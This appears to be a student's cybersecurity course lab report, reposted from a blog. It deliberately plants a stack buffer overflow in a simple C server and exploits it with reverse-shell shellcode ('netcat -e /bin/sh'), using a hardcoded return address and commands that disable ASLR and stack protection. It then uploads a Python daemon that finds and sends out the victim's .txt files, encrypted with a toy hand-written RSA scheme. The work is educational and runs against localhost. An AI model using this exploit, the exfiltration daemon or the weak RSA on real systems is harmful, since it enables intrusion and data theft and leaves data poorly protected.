网络安全——对简单服务器的攻击

网络安全——对简单服务器的攻击

任务一:做一个服务端程序,其功能是:收到客户端请求之后,将请求中的字符串前后翻转,然后返回给客户端。

1.服务端程序

int main()
{
    int listen_socket = Creat_socket();
    
    int client_socket = wait_client(listen_socket);
    
    hanld_client(listen_socket, client_socket);
    
    close(listen_socket);
    
    return 0;
}

首先使用Create_socket()函数创建套接字,然后使用wait_client()函数等待客户端连接,当客户端连接成功并发送数据过来时,使用hanld_client()函数处理数据,即实现字符串翻转功能,最后关闭连接。
创建套接字首先使用socket()函数创建流式套接字,然后设置协议包的内容,使用bind()函数连接套接字,然后使用listen()函数进行监听。
使用accept()函数处理客户端交互,当收到客户端发来的数据时,将其存入buf缓冲区中,并使用hanld_client()函数处理缓冲区。这里我使用的是最简单的字符串翻转方法,即使用temp缓冲区作为临时缓冲区,进行字符串首尾对调。
2.服务端功能实现

void hanld_client(int listen_socket, int client_socket)   //信息处理函数,功能是翻转字符串
{
    char buf[SIZE];
    char temp[SIZE];
    
    while(1)
    {
        int ret = read(client_socket, buf, SIZE-1);
        

        if(ret == -1)
        {
            perror("read");
            break;
        }
        if(ret == 0)
        {
            break;
        }
        
        foo(buf);
        
        int i;
        for(i=0;i<SIZE;i++){
            temp[i]=buf[i];
        }
        for(i=0;i<ret;i++){
            buf[i] = temp[ret-i-1];
        }
        buf[ret] = '\0';
        
        
        printf("%s\n", buf);
        write(client_socket, buf, ret);
        
        if(strncmp(buf, "end", 3) == 0)
        {
            break;
        }
    }
    close(client_socket);
}

3.客户端

int main()
{
    int client_socket = socket(AF_INET, SOCK_STREAM, 0);   //创建和服务器连接套接字
    if(client_socket == -1)
    {
        perror("socket");
        return -1;
    }
    struct sockaddr_in addr;
    memset(&addr, 0, sizeof(addr));
    
    addr.sin_family = AF_INET;  /* Internet地址族 */
    addr.sin_port = htons(PORT);  /* 端口号 */
    addr.sin_addr.s_addr = htonl(INADDR_ANY);   /* IP地址 */
    inet_aton("127.0.0.1", &(addr.sin_addr));
 
    int addrlen = sizeof(addr);
    int listen_socket =  connect(client_socket,  (struct sockaddr *)&addr, addrlen);  //连接服务器
    if(listen_socket == -1)
    {
        perror("connect");
        return -1;
    }
    
    printf("成功连接到一个服务器\n");
    
    char buf[SIZE] = {0};
    
    while(1)        //向服务器发送数据,并接收服务器转换后的大写字母
    {
        printf("请输入你相输入的:");
        scanf("%s", buf);
        write(client_socket, buf, strlen(buf));
        
        int ret = read(client_socket, buf, strlen(buf));
        
        printf("buf = %s", buf);
        printf("\n");
        if(strncmp(buf, "END", 3) == 0)     //当输入END时客户端退出
        {
            break;
        }
    }
    close(listen_socket);
    
    return 0;
}

客户端代码与服务端结构相似,不过是使用connect()函数连接服务端,发送buf中的数据。

任务二:基于上述服务程序,在保持基本功能的前提下,设计一个缓冲区溢出漏洞。并编写恶意客户端程序,扫描局域网内的所有机器,找到有该漏洞的服务端机器,在服务端机器上创建一个 txt 的文件,文件名是你的‘姓名.txt’,文件内容是你的学号。

1.gdb分析
首先使用上述的client客户端进行连接,主要是用来查看编译后的代码使用内存的情况。

void bar(char *temp, char *buf){
    strcpy(temp, buf);
}

void foo(char *buf){
    char temp[256];
    printf("temp addr is %p\n",temp);
    bar(temp, buf); //temp起始地址是0xbfffe660
}

首先分析代码,在hanld_client()函数中调用了foo函数,foo函数中申请了temp数组并调用bar函数,bar函数中的strcpy函数导致缓冲区溢出漏洞。
首先在foo函数下断点:
在这里插入图片描述
进入foo函数后申请了0x108字节空间(264字节),buf缓冲区起始地址:
在这里插入图片描述
距离栈中返回地址0xbfffe76c共268字节,所以我们的payload应该构造268字节。下图高亮位置为返回地址,我们需要通过构造payload覆盖。
在这里插入图片描述

2.Payload构造
Payload包含两部分,shellcode与地址。这里由于我们进行的是服务器上的缓冲区溢出漏洞,所以我们不能用普通的shellcode,需要用反弹shell的思路。参考下面链接。
参考链接
Shellcode如下:

static const char shellcode[] = 
  "\xeb\x3c\x5e\x31\xc0\x88\x46\x0b\x88\x46\x0e\x88\x46\x16\x88\x46"
  "\x26\x88\x46\x2b\x89\x76\x2c\x8d\x5e\x0c\x89\x5e\x30\x8d\x5e\x0f"
  "\x89\x5e\x34\x8d\x5e\x17\x89\x5e\x38\x8d\x5e\x27\x89\x5e\x3c\x89"
  "\x46\x40\xb0\x0b\x89\xf3\x8d\x4e\x2c\x8d\x56\x40\xcd\x80\xe8\xbf"
  "\xff\xff\xff\x2f\x62\x69\x6e\x2f\x6e\x65\x74\x63\x61\x74\x23\x2d"
  "\x65\x23\x2f\x62\x69\x6e\x2f\x73\x68\x23\x31\x32\x37\x2e\x31\x32"
  "\x37\x2e\x31\x32\x37\x2e\x31\x32\x37\x23\x39\x39\x39\x39\x23\x41"
  "\x41\x41\x41\x42\x42\x42\x42\x43\x43\x43\x43\x44\x44\x44\x44\x45\x45\x45\x45\x46\x46\x46\x46";

构造思路为:首先我们需要安装netcat工具,netcat工具中的-e参数是我们需要使用的。我们需要用shellcode来运行以下这句指令:

#!bash
netcat -e /bin/sh 127.0.0.1 9999

获得了shellcode之后,将其嵌入我们的输入中:

length = strlen(shellcode);
        for(int i=0; i<length;i++){
            buf[i] = shellcode[i];
        }
        
        

根据之前的分析,可以知道我们应该在buf[268-271]放入shellcode的地址。所以payload的构造如下:

int i,length;
        length = strlen(shellcode);
        for(int i=0; i<length;i++){
            buf[i] = shellcode[i];
        }
        for(i=length;i<268;i++){
            buf[i] = '\x90';
        }
        buf[271]='\xbf';
        buf[270]='\xff';
        buf[269]='\xe6';
        buf[268]='\xa0';
        

另外需要注意的是,这里的地址和gdb中查看的地址是有偏差的。
Gdb中显示的buf数组的起始地址为0xbfffe660,而根据下图可以看出,直接运行的起始地址应该为0xbfffe6a0。
在这里插入图片描述
3.溢出成果
运行步骤:

sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"

Netcat -lvp 9999

gcc -g -fno-stack-protector -z execstack -o server.c server

gcc attack.c -o attack

Server:
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

任务三:利用上述漏洞,把一个自己设计的程序 daemon 送上服务端机器并运行,这个 daemon能够搜索服务器上的所有 txt 文件,并找出文件名中含有你的姓名的文件,并利用网络传送给客户端机器(传出的方法不限,例如:email,在线 socket 连接等)

首先,利用我们的反弹shell将我们写的脚本上传到服务端机器并运行:(使用scp命令)
在这里插入图片描述
此目录下应该已经存在“姓名.txt”的文件,我们的目标是查找该目录下的含有我的姓名的txt文件,并传输给client。在这里,client我们就使用client目录来代替。
Daemon.py首先查找指定目录下的含有我的姓名的所有.txt文件:

MyName = 'myname'
filesdir = []
filename = []

#找到所有含有名字的txt文件
def findtxt(filedir):
    for root, dirs, files in os.walk(filedir):
        for f in files:
            if '.txt' in f:
                if MyName in f:
                    filename.append(f)
                    filesdir.append(os.path.join(root, f))
    return

然后根据filesdir列表中的内容,将文件通过socket传送:

def socket_client():
    findtxt('/home/hztian/final/server/')
    # print(filesdir)
    # print(filename)

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('127.0.0.1', 9001))
    except socket.error as msg:
        print (msg)
        sys.exit(1)
    print(s.recv(1024))
    # 需要传输的文件路径
    filepath = filesdir[0]
    # 判断是否为文件
    if os.path.isfile(filepath):
        fileinfo_size = struct.calcsize('128sl')
        fhead = struct.pack('128sl', os.path.basename(filepath).encode('utf-8'), os.stat(filepath).st_size)
        s.send(fhead)
        fp = open(filepath, 'rb')
        while 1:
            data = fp.read(1024)
            if not data:
                print ('{0} file send over...'.format(os.path.basename(filepath)))
                break
            s.send(data)
        s.close()
        
if __name__ == '__main__':
    socket_client()

Python中的socket编程相较于c语言中的就简单很多了,只需要调用socket.socket库函数,并指定ip地址为本地ip,端口号为9001即可。传输文件成功后,可以在client/文件夹里查看到tianhengzhi.txt。

运行步骤:
运行client/file.py;
在这里插入图片描述
运行server/daemon.py;
在这里插入图片描述
查看client/目录中文件内容。

用wireshark抓取本地数据包:(参考链接如下)
参考链接

设置wireshark后开始抓包,同时开启文件传输,获取过滤包如下:
在这里插入图片描述

查看过滤包信息,如下图所示,发现可以直接截取到明文传输的文件内容,是以字符串形式传输。
在这里插入图片描述

任务四:在上述任务的基础上,设计一种密钥管理机制和传输加密方案,模拟将传输内容加密(包含文件名和文件内容)发送给客户端机器。用 wireshark 等工具抓取传输内容,证明未加密与加密的区别,并分析你所设计的密钥管理机制和传输加密方案的安全性。

文件传输前的加密:

def socket_client():
    findtxt('/home/hztian/final/server/')
    # print(filesdir)
    # print(filename)

    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect(('127.0.0.1', 9001))
    except socket.error as msg:
        print (msg)
        sys.exit(1)
    print(s.recv(1024))
    # 需要传输的文件路径
    filepath = filesdir[0]
    n = int("282743562011494034a441f73", 16)
    e = int("e7c2fc23757f512c4baf85cd", 16)
    # 判断是否为文件
    if os.path.isfile(filepath):
        # 定义定义文件信息。128s表示文件名为128bytes长,l表示一个int或log文件类型,在此为文件大小
        fileinfo_size = struct.calcsize('128sl')
        # 定义文件头信息,包含文件名和文件大小
        enc_filepath = os.path.basename(filepath)
        enc_filepath = encrypt(enc_filepath, e, n)
        enc_filepath = enc_filepath.encode('utf-8')
        
        print("-----------------")
        print(enc_filepath)
        # enc_filepath = encrypt(enc_filepath, e, n)
        fhead = struct.pack('128sl', enc_filepath, 100)
        # 发送文件名称与文件大小
        s.send(fhead)
        # 将传输文件以二进制的形式分多次上传至服务器
        fp = open(filepath, 'rb')
        while 1:
            neirong = fp.read(1024)

            neirong = neirong.decode(encoding="utf_8")
            if neirong == '':
                print('No PlainText!')
            else:
                print("Encrypting......")
                cipher = encrypt(neirong, e, n) # 二进制转字符串
                cipher = cipher.encode(encoding="utf_8")    # 字符串转为二进制
                print("Encrypted!\r\nThe Cipher is:", cipher)
            if not neirong:
                print ('{0} file send over...'.format(os.path.basename(filepath)))
                break
            s.send(cipher)      # 发送密文
        # 关闭当期的套接字对象
        s.close()

设计思路为,使用RSA算法,由于部分服务器并不会安装python当中的rsa扩展库,所以这里使用python手动实现rsa算法。算法思路为,首先获取两个大素数,并计算出e,d,n的值,将公钥留在server端,利用n和e的值进行加密。由于之前的文件发送程序是以二进制的形式编写的,而我们的加密程序encrypt()是对字符串进行加密,所以在加密之前需要将二进制的值转化为字符串,经过加密,再将密文转化为二进制值发送。
使用wireshark进行抓包,与之前设置相同,抓取本地包如下。下图为抓取到的文件名信息,高亮处为加密后的文件名字符串。
在这里插入图片描述
下图为抓取到的文件内容,也是加密的。
在这里插入图片描述
在client端查看文件:
在这里插入图片描述
分析:使用的是RSA公钥密码体系,好处是在传输的时候,server端只需要保存公钥,不具有追踪性,即使server端查到该程序,也并不能得到有价值的密钥。有不足的地方是,这里并没有使用随机密钥,容易受到密钥攻击。从抓包结果我们可以看出,加密的措施是有效果的,保证了传输过程中的信息安全性。

感想:

本次期末实验总体来说做的比较顺利,使用socket传文件的部分之前接触较少,思考了一段时间,另外就是最后的加密部分,一开始想直接使用python中的库进行加密,这样就会方便很多,但和同学讨论了之后觉得他说的有道理,作为一个"入侵者",你不知道服务器是否安装了python的这个冷门库,所以最终还是选择手动实现rsa加密。
之前老师布置的大作业和实验都有认真完成,所以期末的实验相对来说没有花很长时间,缓冲区溢出等部分都做的比较顺利,这门课虽然很硬核,线上实验平台也花了我很长很长时间来完成,但是总体来说还是学到了很多东西,提升了网络安全相关的能力。

猜你喜欢

转载自blog.csdn.net/HizT_1999/article/details/106950583